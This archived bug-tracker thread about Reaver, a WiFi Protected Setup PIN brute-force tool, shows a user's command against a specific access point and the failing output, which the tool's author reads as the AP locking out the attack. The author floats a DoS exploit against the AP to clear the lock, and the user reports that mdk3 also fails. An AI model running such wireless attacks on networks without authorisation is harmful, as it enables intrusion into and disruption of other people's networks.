Closed GoogleCodeExporter closed 9 years ago
root@bt:~# reaver -i mon0 -c 11 -b 08:18:1A:79:F2:21 -vv -L
Reaver v1.3 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>
[?] Restore previous session? [n/Y] n
[+] Waiting for beacon from 08:18:1A:79:F2:21
[+] Switching mon0 to channel 11
[+] Associated with 08:18:1A:79:F2:21 (ESSID: )
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[!] WARNING: 25 successive start failures
[+] Nothing done, nothing to save.
[+] 0.00% complete @ 2012-01-24 04:44:46 (0 seconds/attempt)
[+] Trying pin 61722927
[!] WARNING: Receive timeout occurred
[!] WARNING: Receive timeout occurred
[+] Trying pin 61722927
^C
[+] Nothing done, nothing to save.
[+] Session saved.
Original comment by ermentsa...@gmail.com
on 24 Jan 2012 at 12:39
Yup, looks like the AP has locked you out. Some lock you out indefinitely, only
a reboot will kill the lock; don't do much in those situations (unless you have
a DoS exploit against the AP or something like that).
Original comment by cheff...@tacnetsol.com
on 25 Jan 2012 at 4:44
mdk3 is not working also in this AP
Original comment by ermentsa...@gmail.com
on 25 Jan 2012 at 4:56
Original issue reported on code.google.com by
ermentsa...@gmail.com
on 24 Jan 2012 at 12:34